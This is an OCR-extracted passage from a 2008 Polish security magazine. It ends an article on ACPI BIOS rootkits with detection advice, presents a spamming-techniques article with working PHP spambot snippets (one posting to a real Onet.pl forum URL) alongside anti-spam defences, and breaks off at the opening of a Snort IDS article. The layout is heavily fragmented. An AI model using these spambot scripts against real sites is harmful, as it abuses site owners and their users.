wywołanie zaprezentowane jest na
Listingu 5.
Kod zawarty na Listingu 5 łączy to, co
zrobiliśmy za pomocą ASL, z systemem
operacyjnym – obsługa nieużywanego
przerwania jest przekazywana do naszej
funkcji, która jest tak naprawdę tylną furtką
– możemy tam wstawić kod otwierający
np. powłokę na wskazanym porcie, bądź
jakąś procedurę logowania zdarzeń
wykonywanych na komputerze użytkownika.
Jedynym ograniczeniem, jakie mamy, jest
nasza wyobraźnia.
Ta sekcja artykułu zaprezentowała
sposób, w jaki można przygotować
przykładowego rootkita. Techniki te i wiele
innych pokazuje John Heasman w swoim
wystąpieniu z konferencji BlackHat, do
którego odnośniki znajdują się w ramce
W Sieci. Ostatnia już część niniejszego
artykułu będzie poświęcona kwestii, która
może być bardziej istotna w codziennej
pracy – jak wykryć takiego rootkita i jak się
go pozbyć. Nikt przecież nie chciałby być
ofiarą podobnego ataku, w dodatku ofiarą
niezorientowaną, co można zrobić w takiej
nieciekawej sytuacji.
Prewencja i wykrywanie
– zabezpieczenie komputera
przed rootkitem
Gdy wiemy już, jak działa rootkit, zostaje nam
do omówienie kwestia jego wykrycia i, co
ważniejsze, zabezpieczenia się przed nim.
Zaczniemy więc od metod zabezpieczenia
się przed rootkitem w BIOSie.
Podstawową metodą uniemożliwiającą
instalacje takiego rootkita jest
zabezpieczenie BIOSu przed flashowaniem.
Nie mogąc nadpisać BIOSu, nie mamy
jak umieścić rootkita w jego pamięci,
czyli de facto jesteśmy bezpieczni. Jest to
najprostsza metoda, wiąże się ona jednak
z pewnymi niedogodnościami, albowiem
przy każdej próbie aktualizacji BIOSu
musimy przestawić odpowiednią zworkę
na płycie głównej, bądź – jeśli BIOS na
to pozwala – zmienić ustawienia w jego
programie konfiguracyjnym.
Drugim, choć bardziej radykalnym
i niekomfortowym w życiu codziennym,
rozwiązaniem jest po prostu wyłączenie
obsługi ACPI. Polepszenie bezpieczeństwa
jest oczywiste, albowiem wszystkie
funkcje odpowiadające za ACPI zostają
wyłączone, programy napisane w ASL/AML
nie działają – jesteśmy stuprocentowo
bezpieczni. Jednak jest to rozwiązanie o
tyle niekomfortowe, że tracimy niemałą
funkcjonalność – czyż nie każdy z nas
przyzwyczaił się do tego, że po naciśnięciu
Wyłącz system komputer sam się wyłącza?
A bez ACPI musielibyśmy w tym celu
ręcznie wciskać przycisk Power, oczywiście
po uprzednim ukazaniu się komunikatu,
znanego np. z Windows 98 - Możesz teraz
bezpiecznie wyłączyć komputer.
Heasman przedstawił jeszcze jeden
sposób na zabezpieczenie. Są to BIOSy
podpisywane cyfrowo, które umożliwiają
kontrolę nad tym, czy coś niechcianego
nie zostało zapisane do pamięci flash.
Dzięki temu unikniemy sytuacji, w której
niepożądany kod zagości na naszym
komputerze.
Pozostaje jeszcze kwestia wykrywania
takich niechcianych rzeczy na naszej
maszynie. Jak już wspominałem,
działania rootkita nie pozostaną do końca
niezauważone. W systemie Windows
otrzymamy komunikat o błędzie, mówiący
o tym, że ACPI próbuje odwołać się do
obszaru pamięci zarezerwowanego dla
systemu Windows. Będzie to jednak tylko
powiadomienie, albowiem Windows zezwoli
na taką operację.
Na Linuksie możemy posłużyć się
poleceniem dmesg. Za jego pomocą
wypiszemy zawartość buforów ACPI oraz
odczytamy ewentualne kody błędów
– podobnie, jak w Windows, dowiemy się,
że coś próbuje odwołać się do adresu w
pamięci zarezerwowanego dla systemu
operacyjnego, bądź – że bufory ACPI
dziwnie wyglądają.
Detekcja rootkita ACPI nie jest
więc zadaniem pracochłonnym dla
doświadczonego administratora. Jednak
mniej wprawna osoba może nie uznać
tych błędów za coś groźnego, tłumacząc
sobie to jakimś wyjątkiem lub zwyczajnie
– błędem BIOSu.
Podsumowanie
Rootkity ACPI wydają się być ciekawym
zjawiskiem we współczesnej informatyce.
Jednak ich skuteczność oraz łatwość
ukrycia przeciwstawione są ogromnym
trudnościom w ich implementacji i
doskonaleniu, do ich poprawnego działania
niezbędna jest bowiem duża wiedza
twórcy. Miejmy nadzieję, że Czytelnik
nie padnie ofiarą tak spreparowanego
oprogramowania i nie będzie musiał
martwić się o bezpieczeństwo własnego
BIOSu, nie tracąc przy tym jego
funkcjonalności.
Konrad Zuwała
Autor zajmuje się bezpieczeństwem aplikacji
internetowych oraz szeroko rozumianą ochroną
systemów komputerowych. W wolnych chwilach
programuje (głównie C/C++, PHP) oraz zarządza
portalem internetowym.
Kontakt z autorem: kzuwala@poczta.onet.pl
44
HAKIN9
ATAK
6/2008
A
by daną wiadomość można było nazwać
spamem, powinna spełniać kilka warunków:
brak możliwości zidentyfikowania nadawcy,
niewyrażenie przez odbiorcę zgody na jej
otrzymanie, wiadomość ma charakter reklamowy,
informacyjny lub ostrzegawczy.
Profilaktyka
Najlepszą metodą dostarczenia spamerom
naszego adresu e-mailowego jest jego
upublicznienie, czyli podanie go w otwartej
formie na dowolnej stronie internetowej (nawet
mało znanej), grupie dyskusyjnej itp. Spamerzy
w celu pozyskiwania adresów stosują programy
nazywane harvesterami, czyli po polsku
kombajnami. Są to często skomplikowane
aplikacje, które umożliwiają wychwycenie nawet
adresów zabezpieczonych. Dlatego podstawowym
sposobem ochrony adresu e-mailowego przed
kombajnami jest niepublikowanie go, przede
wszystkim na grupach dyskusyjnych (zarówno w
nagłówku, jak i w treści wpisu), forach dyskusyjnych
(np. w podpisie), stronach internetowych (w
komentarzach na innych stronach itp.).
Oczywiście nie należy też podawać adresów
osób znajomych, ponieważ kombajn nie interesuje
się tym, skąd adres wziął się w danym medium,
tylko samym faktem, że tam został umieszczony.
Złośliwi internauci często podają adresy
innych osób na popularnych stronach w celu
spowodowania, by nielubiana osoba dostawała
więcej spamu. Niestety, często robią to również
RAFAŁ PODSIADŁY
Z ARTYKUŁU
DOWIESZ SIĘ
jakie są techniki spamowania,
jak przy pomocy kilku prostych
chwytów można wysłać mail bez
adresata,
jak się chronić i na co uważać
podczas surfowania w
Internecie.
CO POWINIENEŚ
WIEDZIEĆ
znać podstawy PHP,
znać podstawy C++,
znać podstawy JavaScript
osoby po prostu nieświadome potencjalnych
szkód dla właściciela adresu. Jeśli jednak nie
podamy nigdzie swojego adresu, to nikt prócz
naszych znajomych nie będzie go znał – a
więc nie będzie się mógł z nami skontaktować.
Jest to niedopuszczalne np. w przypadku firm.
Dlatego też należy stosować specjalne sposoby
ochrony podawanego adresu przed programami
przeszukującymi – np. poprzez kodowanie
adresu e-mail w postaci heksadecymalnej. To
rozwiązanie zabezpieczy nas przed amatorami, ale
profesjonalne narzędzia spamerów mogą sobie z
tym zabezpieczeniem poradzić.
W celu umożliwienia kontaktu – zamiast
zamieszczać adres e-mail bezpośrednio na
stronie WWW – możemy utworzyć formularz, w
którym nadawca będzie mógł wpisać samą treść
listu, a następnie zatwierdzić jej wysłanie pod
z góry zdefiniowany adres. Taką metodę firmy
stosują bardzo często – nie należy się więc dziwić,
jeśli na jakiejś stronie w zakładce Kontakt zamiast
adresu znajdziemy taki formularz. Firma po prostu
chce się ochronić przed spamem.
Inną metodą ochrony jest przekształcenie
adresu tak, by mógł go odgadnąć tylko człowiek.
Załóżmy na przykład, że nasz adres e-mail to
spam@tonid.net. Tradycyjną formą przekształcenia
jest dodawanie członu nospam – czyli nasz
adres moglibyśmy podawać jako spam-
nospam@tonid.net. Niestety, wiele kombajnów
rozpoznaje już takie najprostsze przekształcenia.
Dlatego też im bardziej nietypowe przekształcenie,
Stopień trudności
Techniki
spamowania
O tym, co robią spamerzy, jakich technik używają i co grozi
zwykłemu użytkownikowi, gdy zasiada do komputera.
45
HAKIN9
JAK ZOSTAĆ SPAMEREM. DROGA WIEDZY I PORAŻEK
6/2008
tym lepiej (warto też przy modyfikacjach
nie używać słów w języku angielskim).
Dobrym przekształceniem tego adresu
byłoby więc na przykład spam.usun-
wszystko-po-kropce_malpka_tonid_
kropka_net. Oczywiście nie należy też
przesadzać – może się bowiem okazać, iż
nadawca nie będzie na tyle inteligentny by
zrozumieć, co należy zrobić, aby z adresu
przekształconego uzyskać prawidłowy.
Przekształcenia są szczególnie popularne
na grupach dyskusyjnych, gdzie mamy do
dyspozycji niewiele innych metod.
Kolejny chwyt – kodowanie adresu
za pomocą odwracania prostego
przy wykorzystaniu algorytmu łatwo
odwracalnego, na przykład ROT-13 lub
Base64. Weźmy tekst To zdanie jest
zakodowane – po zastosowaniu ROT-13
wygląda następująco: Gb mqnavr wrfg
mnxbqbjnar. Świadomy internauta od razu
rozpozna, że adres został zaszyfrowany
przy użyciu ROT-13, ale możemy dla
ułatwienia napisać np. w podpisie
wiadomości wysłanej na grupę dyskusyjną,
że adres jest zakodowany za pomocą tego
algorytmu. W celu zakodowania adresu
przy użyciu algorytmu Base64 możemy
użyć konwertera, a odkodować go za
pomocą dekodera. Adres spam@tonid.net
będzie wyglądać po zakodowaniu
następująco: c3BhbUB0b25pZC5uZXQ =.
Niestety, tu koniecznie trzeba podać, w
jaki sposób adres został zakodowany,
ponieważ większość internautów nie
będzie miała zielonego pojęcia, co z takim
szyfrem zrobić. Artykuł zawiera plik źródłowy
programu służącego do kodowania
Base64
Istnieje sporo sposobów na takie
zakodowanie adresu e-mail, aby był
on widoczny na stronie internetowej w
czytelnej formie, zaś nie dawał się łatwo
wywnioskować z kodu strony. Większość
kombajnów nie potrafi takich adresów
wychwycić (ponieważ analizują właśnie
kod źródłowy, a nie wyświetloną w
przeglądarce zawartość), ale zawsze istnieje
niebezpieczeństwo, że spamerzy wbudowali
już funkcje wychwytujące i dekodujące w
swoje programy. Pierwszą metodą, którą
możemy tu zastosować, jest kodowanie za
pomocą tzw. HTML Entities, czyli encji HTML.
Adres spam@tonid.net będzie miał w kodzie
strony postać:
spam
@tonid
.net
, ale na stronie
WWW zostanie wyświetlony w czytelnej dla
internauty formie oraz poprawnie obsłużony.
Jednak z najnowszych informacji wynika, że
roboty już potrafią sobie z tym poradzić.
Drugim sposobem jest kodowanie za
pomocą tzw. URL encoding (użyteczne tylko
przy tworzeniu odnośników do wysyłania
poczty). W tej formie adres spam@tonid.net
wygląda następująco: %73%70%61%6D%
40%74%6F%6E%69%64%2E%6E%65%74.
Adres jest również obsługiwany prawidłowo
przez przeglądarki. Niestety, chodzą słuchy,
że ta metoda może również już nie działać
(a ściślej – że programy spamerów są w
stanie ją obejść).
Kolejną metodą jest użycie
JavaScript. Zastosowany algorytm łączy
Javascript z poprzednimi metodami i
daje moim zdaniem bardzo wysokie
prawdopodobieństwo, że programy
spamerów adresu nie wychwycą. Niestety,
aby adres został wyświetlony, przeglądarka
musi mieć włączoną obsługę JavaScript
(na szczęście w większości przeglądarek
jest on domyślnie uaktywniony).
A teraz coś zupełnie z innej beczki
– zastosowanie obrazka zamiast adresu.
Ta metoda jest najbezpieczniejsza, jednak
istnieją także sposoby automatycznego
przekształcania grafiki na tekst (OCR).
Wadą jest to, że użytkownicy przeglądarek
tekstowych oraz osoby niewidome,
korzystające z narzędzi odczytujących
głosowo treść strony, naszego adresu
nie zobaczą. Musimy także wykorzystać
dodatkową aplikację do stworzenia
elementu graficznego. Na szczęście
istnieją co najmniej dwa rozwiązania, które
mogą nam to ułatwić:
• Serwis hidentity umożliwia
automatyczne utworzenie elementu
graficznego z naszym adresem e-
mail i nie tylko (także np. numerem
Gadu-Gadu, ICQ, adresem Jabbera,
adresem strony, numerem telefonu
itp.). Wystarczy się zarejestrować,
podać odpowiednie adresy, wybrać
wzór graficzny i wkleić odpowiedni kod
na stronie. Jest to rozwiązanie bardzo
wygodne, ponieważ wszystkie dane są
przechowywane na koncie hidentity.
Zatem jeśli zmienimy adres e-mail (lub
założymy nową skrzynkę), możemy
po prostu wprowadzić odpowiednie
Listing 1.
SpyBot – przykładowy kod spamujący komentarz serwisu Onet.pl
<?
php
$url
=
'http://wiadomosci.onet.pl/10,15,11,4040918,0,forum.html'
;
$post
=
'FormID=1187433833.3CA88848&TT=Test&TX=Testowa tresc&PD=testowy&OK'
;
$ch
= curl_init
(
)
;
curl_setopt
(
$ch
, CURLOPT_URL,
$url
)
;
curl_setopt
(
$ch
, CURLOPT_RETURNTRANSFER, 1
)
;
curl_setopt
(
$ch
, CURLOPT_POST, 1
)
;
curl_setopt
(
$ch
, CURLOPT_POSTFIELDS,
$post
)
;
curl_exec
(
$ch
)
;
curl_close
(
$ch
)
;
?>
Listing 2.
SpyBot – przykładowy kod spamujący odnaleziony formularz
<?
php
$code
= file_get_contents
(
'adres'
)
;
preg_match
(
'#
<
form action=
"(.*?)"
#
', $code, $action );
preg_match_all( '
#
<
input name=
"(.*?)"
#
', $code, $inputs );
foreach( $inputs[1] as $input )
{
$data .= $input . '
=spam&
';
}
file_get_contents( $action[1] . '
?'
. $data );
?
>
ATAK
46
HAKIN9 6/2008
JAK ZOSTAĆ SPAMEREM. DROGA WIEDZY I PORAŻEK
47
HAKIN9
6/2008
modyfikacje w konfiguracji konta,
a wszystkie wyświetlane na innych
stronach (w tym np. na forach
dyskusyjnych) obrazki zostaną
automatycznie zmodyfikowane.
• Niektóre techniki sprowadzają się do
umieszczania całej treści strony www
w CSS. Jest to jednak propozycja
dla bardziej zaawansowanych
webmasterów.
Ciekawą metodą przeciwdziałania
kombajnom jest walka aktywna, a
więc podawanie im ogromnej liczby
fałszywych, nieistniejących adresów
e-mail (bądź adresów należących do
spamerów). Kombajn nie jest bowiem
w stanie sprawdzić, czy adres jest
prawidłowy, czy nie (może jedynie
sprawdzać jego składnię). W ten
sposób spamerskie kombajny zostają
przepełnione fałszywymi adresami – co
powoduje, że efektywność wysyłania
spamu znacznie się zmniejsza.
Listing 3a.
base64.cpp
#include
<fstream.h>
#include
<string.h>
#include
<conio.h>
class
base64
{
public
:
char
*
CharToBin
(
int
);
char
BinToChar
();
base64
();
~
base64
();
void
SetChar
(
char
*);
char
*
Szyfruj
(
char
*);
char
*
Odszyfruj
(
char
*);
private
:
char
*
chars
;
//wartosc bitowa znaku
char
*
znaki
;
//24-bitowa wartosc 3 znakow
char
*
zakodowane
;
//znaki wyjsciowe
char
tablica
[
64
];
}
;
//destruktor
base64
::
~
base64
()
{
delete
znaki
;
delete
chars
;
}
//metoda zapisujaca wartosc binarna do obiektu
//do dalszej obrobki
void
base64
::
SetChar
(
char
*
_liczba
)
{
strcpy
(
chars
,
_liczba
);
}
//konstruktor - ustala tablice kodowania
base64
::
base64
()
{
strcpy
(
tablica
,
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrst
uvwxyz0123456789+/="
);
char
*
chars
=
new
char
[
7
];
char
*
znaki
=
new
char
[
24
];
memset
(
chars
,
NULL
,
strlen
(
chars
)-
1
);
memset
(
znaki
,
NULL
,
strlen
(
znaki
)-
1
);
}
//metoda zamieniajaca znak na jego zapis binarny
char
*
base64
::
CharToBin
(
int
liczba
)
{
int
tmp
=
0
;
for
(
int
i
=
7
;
i
>-
1
;
i
--)
{
tmp
=
liczba
%
2
;
if
(
tmp
==
1
)
chars
[
i
]=
'1'
;
else
chars
[
i
]=
'0'
;
tmp
=
0
;
liczba
=
liczba
/
2
;
}
chars
[
8
]=
'\0'
;
return
(
chars
);
}
//metoda zamieniajaca zapis binarny na znak
char
base64
::
BinToChar
()
{
int
tmp
=
0
;
int
mnoznik
=
256
;
int
liczba
=
0
;
for
(
int
i
=-
1
;
i
<
8
;
i
++)
{
liczba
=(
chars
[
i
]-
48
)*
mnoznik
;
tmp
=
tmp
+
liczba
;
mnoznik
=
mnoznik
/
2
;
}
return
tmp
;
}
//metoda odszyfrowujaca, zwracajaca 3 odkodowane litery
char
*
base64
::
Odszyfruj
(
char
*
_a
)
{
char
*
odkodowane
=
new
char
[
4
];
memset
(
odkodowane
,
NULL
,
strlen
(
odkodowane
)-
1
);
//zamiana 4 znakow na zapis binarny
char
*
a
=
new
char
[
9
];
char
*
b
=
new
char
[
9
];
char
*
c
=
new
char
[
9
];
char
*
d
=
new
char
[
9
];
//wyzerowanie tablic a,b,c,d
memset
(
a
,
NULL
,
strlen
(
a
)-
1
);
memset
(
b
,
NULL
,
strlen
(
b
)-
1
);
memset
(
c
,
NULL
,
strlen
(
c
)-
1
);
memset
(
d
,
NULL
,
strlen
(
d
)-
1
);
//petla zwracajaca index tablicy base64 w zaleznosci od znaku
for
(
int
i
=
0
;
i
<
65
;
i
++)
{
if
(
tablica
[
i
]==
_a
[
0
])
strcpy
(
a
,
CharToBin
(
i
));
if
(
tablica
[
i
]==
_a
[
1
])
strcpy
(
b
,
CharToBin
(
i
));
if
(
tablica
[
i
]==
_a
[
2
])
strcpy
(
c
,
CharToBin
(
i
));
if
(
tablica
[
i
]==
_a
[
3
])
strcpy
(
d
,
CharToBin
(
i
));
}
ATAK
46
HAKIN9 6/2008
JAK ZOSTAĆ SPAMEREM. DROGA WIEDZY I PORAŻEK
47
HAKIN9
6/2008
Listing 3b.
base64.cpp
//usuniecie dwoch najbardziej znaczacych bitow i utworzenie
//24-znakowego lancucha bitowego
char
*
tmp
=
new
char
[
33
];
memset
(
tmp
,
NULL
,
strlen
(
tmp
)-
1
);
for
(
i
=
0
;
i
<
32
;
i
++)
{
if
(
i
<
6
)
tmp
[
i
]=
a
[
i
+
2
];
if
((
i
>
7
)&&(
i
<
14
))
tmp
[
i
-
2
]=
b
[
i
-
6
];
if
((
i
>
15
)&&(
i
<
22
))
tmp
[
i
-
4
]=
c
[
i
-
14
];
if
((
i
>
23
)&&(
i
<
32
))
tmp
[
i
-
6
]=
d
[
i
-
22
];
}
tmp
[
32
]=
'\0'
;
//podzial lancucha na trzy osmiobitowe lanuchy i zamiana ich
na znaki
for
(
i
=
0
;
i
<
24
;
i
++)
{
if
(
i
<
8
)
a
[
i
]=
tmp
[
i
];
if
((
i
>
7
)&&(
i
<
16
))
b
[
i
-
8
]=
tmp
[
i
];
if
((
i
>
15
)&&(
i
<
24
))
c
[
i
-
16
]=
tmp
[
i
];
}
a
[
8
]=
'\0'
;
b
[
8
]=
'\0'
;
c
[
8
]=
'\0'
;
//zlaczenie trzech liter w lancuch i zwrocenie do programu
SetChar
(
a
);
odkodowane
[
0
]=
BinToChar
();
SetChar
(
b
);
odkodowane
[
1
]=
BinToChar
();
SetChar
(
c
);
odkodowane
[
2
]=
BinToChar
();
odkodowane
[
3
]=
'\0'
;
return
odkodowane
;
}
//metoda szyfrujaca zwracajaca zakodowane 4 litery
char
*
base64
::
Szyfruj
(
char
*
_a
)
{
strcpy
(
znaki
,
CharToBin
(
_a
[
0
]));
strcat
(
znaki
,
CharToBin
(
_a
[
1
]));
strcat
(
znaki
,
CharToBin
(
_a
[
2
]));
char
*
zakodowane
=
new
char
[
4
];
memset
(
zakodowane
,
NULL
,
strlen
(
zakodowane
)-
1
);
//bloki pamieci dlugosci 6 bitow – indeksy w tablicy base64
char
*
blok1
=
new
char
[
9
];
char
*
blok2
=
new
char
[
9
];
char
*
blok3
=
new
char
[
9
];
char
*
blok4
=
new
char
[
9
];
//wyzerowanie blokow
memset
(
blok1
,
NULL
,
strlen
(
blok1
)-
1
);
memset
(
blok2
,
NULL
,
strlen
(
blok2
)-
1
);
memset
(
blok3
,
NULL
,
strlen
(
blok3
)-
1
);
memset
(
blok4
,
NULL
,
strlen
(
blok4
)-
1
);
//uzupelnienie blokow dwoma znaczacymi zerami
blok1
[
0
]=
'0'
;
blok1
[
1
]=
'0'
;
blok2
[
0
]=
'0'
;
blok2
[
1
]=
'0'
;
blok3
[
0
]=
'0'
;
blok3
[
1
]=
'0'
;
blok4
[
0
]=
'0'
;
blok4
[
1
]=
'0'
;
//podzial lancucha binarnego na 4 podlancuchy dlugosci 6 bitow
for
(
int
i
=
0
;
i
<
24
;
i
++)
{
if
(
i
<
6
)
{
blok1
[
i
+
2
]=
znaki
[
i
];
blok1
[
8
]=
'\0'
;
}
else
if
((
i
>
5
)&&(
i
<
12
))
{
blok2
[
i
-
4
]=
znaki
[
i
];
blok2
[
8
]=
'\0'
;
}
else
if
((
i
>
11
)&&(
i
<
18
))
{
blok3
[
i
-
10
]=
znaki
[
i
];
blok3
[
8
]=
'\0'
;
}
else
if
((
i
>
17
)&&(
i
<
24
))
{
blok4
[
i
-
16
]=
znaki
[
i
];
blok4
[
8
]=
'\0'
;
}
}
//podstawienie znakow z tabeli base64 wg 4 indeksow obliczonych
z blokow 1-4
int
a
,
b
,
c
,
d
;
SetChar
(
blok1
);
a
=
BinToChar
();
SetChar
(
blok2
);
b
=
BinToChar
();
SetChar
(
blok3
);
c
=
BinToChar
();
SetChar
(
blok4
);
d
=
BinToChar
();
//zlaczenie w calosc
zakodowane
[
0
]=
tablica
[
a
];
zakodowane
[
1
]=
tablica
[
b
];
zakodowane
[
2
]=
tablica
[
c
];
zakodowane
[
3
]=
tablica
[
d
];
zakodowane
[
4
]=
'\0'
;
return
zakodowane
;
}
//czesc glowna programu
void
main
(
void
)
{
clrscr
();
//base64 *a=new base64;
//cout<<a->Szyfruj("xyz")<<endl;
//delete a;
base64
*
b
=
new
base64
;
cout
<<
b
->
Odszyfruj
(
"eHl6"
);
delete
b
;
}
ATAK
48
HAKIN9 6/2008
JAK ZOSTAĆ SPAMEREM. DROGA WIEDZY I PORAŻEK
49
HAKIN9
6/2008
Dwoma serwisami, które oferują tego
typu usługę, są Antyspam.pl i Spam
Poison. Warto podawać adresy tych
dwóch stron w linkach na np. swoich
blogach czy też w podpisie na forum
dyskusyjnym. Możemy oczywiście
bezpiecznie wejść na obie strony.
Zobaczymy ogromne listy adresów e-
mailowych. W przypadku Antyspam.pl
są one generowane losowo, natomiast
Spam Poison podaje adresy używane
przez spamerów. Jedyną wadą jest fakt,
że domeny tych serwisów mogą być w
łatwy sposób dodane do czarnych list w
spamerskich kombajnach. Ale z czasem i
na to znajdzie się rozwiązanie.
Największą plagą Internetu jest spam
i to nie tylko ten w postaci e-maili. W
przypadku aplikacji internetowych możemy
się z nim spotkać wszędzie tam, gdzie
użytkownicy mają możliwość dodawania
własnej treści do serwisu. Może to mieć
miejsce w przypadku forów internetowych
czy komentarzy do treści zawartych na
stronie. W przypadku aplikacji internetowych
zadaniem spamu jest wstawienie linków
prowadzących do pozycjonowanego
serwisu wszędzie tam, gdzie jest to
możliwe. Powodem takiego stanu rzeczy
jest sposób działania wyszukiwarek
internetowych. Zdecydowana większość z
nich promuje strony na podstawie ilości
linków, które do nich prowadzą.
Atak
Działania spambotów można podzielić
na dwa typy. Pierwszy odnosi się
do spamowania konkretnej aplikacji
(np. komentarzy systemu blogowego
WordPress), drugi zaś jest bardziej
uniwersalny i polega na spamowaniu
każdego dostępnego formularza.
W pierwszym przypadku dane
wysyłane są bezpośrednio pod adres
URL odpowiadający za ich zapis. Nazwy
zmiennych pobierane są z domyślnej
instalacji, dodatkowo uwzględniane są ich
najpopularniejsze odmiany. Przykładowo,
jeśli domyślna nazwa zmiennej
odpowiadającej za nick użytkownika to
login, bot w celu optymalizacji swojego
działania może też uwzględnić popularne
modyfikacje nazwy tej zmiennej, np.
username, nick, user.
Działanie uniwersalnych spambotów
jest bardziej rozbudowane. Nie wysyłają
one danych bezpośrednio do pliku
odpowiedzialnego za zapis, ale parsują
stronę w poszukiwaniu formularzy. Po ich
znalezieniu wypełniają pola, które zawiera
dany formularz, a następnie wysyłają go
pod adres z parametru action znacznika
<form />
.
Rysunek 1.
Analiza ataków na świecie
Rysunek 2.
Analiza spamu w ciągu ostatnich 100 dni
W Sieci:
• http://www.commtouch.com/Site/Home/
home.asp
• http://wikipedia.org
ATAK
48
HAKIN9 6/2008
JAK ZOSTAĆ SPAMEREM. DROGA WIEDZY I PORAŻEK
49
HAKIN9
6/2008
Obrona
Pomimo, że skuteczna walka ze
spamem staje się coraz trudniejsza,
istnieją metody, które utrudniają im
pracę. Obecnie najpopularniejszą
techniką obrony przed spamem są
obrazki z tokenami (captcha). Metoda
ta jest skuteczna przy zastosowaniu
różnorodności wyglądu obrazków.
Przykładem stosunkowo dobrze
stworzonego mechanizmu captcha
jest ten wykorzystywany przez bramkę
SMS jednego z operatorów sieci.
Stosuje on różne kroje czcionki, pozycje
wyświetlania tokenu, dodaje losowe
szumy tła, a token przyjmuje zamiast
losowo wygenerowanego ciągu znaków
wyrazy ze słownika. Mimo wysokiej
skuteczności tej metody ma ona jedną
znaczącą wadę. Utrudnia ona często
dostęp nie tylko spambotom, ale także
zwykłym użytkownikom. Dzieje się tak
na skutek słabej czytelności tokenów
oraz zbyt dużej inwazyjności – w końcu
mamy utrudniać działanie botom, a nie
użytkownikom.
W przypadku captcha bot może
próbować odczytać kod analizując
poszczególne piksele obrazka.
Rozwiązaniem tego problemu jest odmiana
poprzedniej metody, która zamiast
przedstawiania tokenów graficznych
zadaje użytkownikom pytania. Rodzaj pytań
jest zależny od programisty tworzącego
zabezpieczenie. Najczęściej spotykane są
pytania o stolice państwa oraz działania
arytmetyczne. Stosuje się np. prośbę o
podanie wyniku nieskomplikowanego
działania, jak (2+2) = ??
Podczas dodawania przez
użytkowników treści do serwisu możemy
być pewni dwóch akcji – ruchu myszką
oraz naciśnięcia klawisza. Wykorzystując
te zdarzenia, przy pomocy JavaScript
możemy napisać kod, który skutecznie
odróżni użytkownika od bota. Wszystko
dzięki temu, że bardzo mała liczba botów
radzi sobie z tą technologią, a te, które
ją obsługują – nie wykonają tych akcji.
W przypadku uniwersalnych robotów,
po wywołaniu zdarzenia onkeypress lub
onmousemove skrypt może podpiąć pod
właściwość action formularza właściwy
adres, pod który mają zostać wysłane
dane. Prócz wyżej przedstawionych
metod warto wspomnieć jeszcze
o dwóch, które są dość proste do
wdrożenia. Pierwszą z nich jest
umieszczenie formularza wewnątrz ramki.
Dzięki temu robot parsujący kod strony
nie znajdzie w nim formularza. Drugim
sposobem jest przesyłanie danych
przy pomocy AJAXa. Ciekawostką jest
serwis który analizuje ruchy spamu
i informacje o pojawiających się
wirusach którego screeny zamieściłem
w artykule (Rysunek 1. i 2.) http://
www.commtouch.com/Site/Resources/
map.asp
Podsumowanie
Mimo, że techniki spamowania stają się
coraz bardziej wyrafinowane, istnieje
wiele sposobów umożliwiających
skuteczną obronę przed nimi. Im bardziej
technika jest innowacyjna i rzadziej
stosowana, tym większe daje szanse
na skuteczne zablokowanie działania
spambotów.
Rafał Podsiadły
Miłośnik wiedzy i nowych technologii – a wszystko, co
wartościowe, trzyma w głowie.
Kontakt z autorem: rafalpa@interia.pl
Listing 4.
Skrypt aktywacyjny do formularza
<
script language
=
"javascript"
>
function checkCheckBox(f)
{
// sprawdzamy czy zostal zaznaczony przycisk
// jesli nie, to wyswietlamy komunikat
if
(f.pp.checked
==
false )
{
alert(
'Musisz się zgodzić ....'
)
;
return
false
;
}
// sprawdzamy poprawnosc pola email
if
(f.email.value
==
''
)
{
alert(
'Podaj adres'
)
;
return
false
;
}
// sprawdzamy, czy format podanego adresu e-mail jest poprawny
if
( ((f.email.value.indexOf(
'@'
,
1
))
==
-
1
)
||
(f.email.value.indexOf(
'.'
,
1
))
==
-
1
)
{
alert(
'Popraw adres e-mail'
)
;
return
false
;
}
// sprawdzamy, czy uzytkownik podal imie
if
(f.name.value
==
''
)
{
alert(
'Nie podałeś/aś swojego imienia'
)
;
return
false
;
}
// jesli wszystko jest OK, to mozemy wyslac formularz
else
{
return
true
;
}
}
</
script
>
Sam formularz implementujemy następująco:
<
form name
=
"sub"
method
=
"post"
action
=
"ADRES_SKRYPTU"
onsubmit
=
"
return
checkCheckBox(
this
)"
>
Słownik
SpyBot – jest to słowo połączone z dwóch wyrazów Spyware Bot a więc w połączeniu określają
inteligentne programy naśladujące pracę człowieka, które przeszukują internet, potrafią logować
się na stronach www, zakładać konta. Z niegroźnych odmian tego typu kodu są roboty Google
przeszukujące sieć i index'ujące stronę www.
CAPTCHA (Completely Automated Public Turing Test to Tell Computers and Humans Apart)
– rodzaj techniki stosowanej jako zabezpieczenie w formularzach na stronach WWW. Dla przesłania
danych konieczne jest przepisanie treści z obrazka (zazwyczaj losowo dobranych znaków bądź
krótkiego wyrazu). Obrazek ten jest prosty do odczytania przez człowieka, jednakże odczytanie go
przez komputer jest, przynajmniej w założeniu, bardzo trudne.
Odmianą CAPTCHA jest system Asirra (en) - na którym należy spośród zdjęć różnych zwierząt
wybrać np. kota. źródło wikipedia.org
50
OBRONA
HAKIN9 6/2008
W
ykrywanie włamań jest procesem
identyfikowania i reagowania na
szkodliwą działalność skierowaną
przeciw zasobom informatycznym i sieciowym.
Narzędzia spełniające wyżej wymienione funkcje
nazywają się Systemami Wykrywania Włamań
(ang. Intrusion Detection Systems).
Podziału systemów wykrywania włamań można
dokonać na wiele sposobów. Po pierwsze może
to być podział ze względu na źródło zdarzenia
zewnętrznego, a więc umiejscowienie generatora
zdarzeń. Możliwe jest także zastosowanie podziału
ze względu na sposób analizy danych. Systemy
IDS można także rozróżniać ze względu na rodzaj
bazy danych oraz sposób działania jednostki
reagującej. Nas jednak interesować będzie podział
opisany w dwóch pierwszych przypadkach.
Ze względu na źródło zdarzeń zewnętrznych
wyróżniamy następujące typy systemów
wykrywania włamań:
• systemy oparte na hoście (ang. host-based),
• systemy oparte na sieci (ang. network-based).
Z kolei ze względu na sposób analizy danych
systemy IDS możemy podzielić na:
• systemy wykrywające anomalie,
• systemy wykrywające nadużycia.
System Snort jest sieciowym systemem
wykrywania włamań opartym o sygnatury.
MARCIN KLAMRA
Z ARTYKUŁU
DOWIESZ SIĘ
jak liczba oraz rodzaje
stosowanych reguł wpływają na
wydajność systemu Snort,
jak tworzyć reguły dla systemu
Snort, aby nie powodowały
znacznego spadku wydajności
systemu,
jak zmienia się wydajność
systemu Snort wraz z
pojawianiem się nowych jego
wersji,
jaką wydajnością charakteryzuje
się filtr pakietów iptables w
porównaniu z systemem Snort.
CO POWINIENEŚ
WIEDZIEĆ
co to jest system wykrywania
włamań,
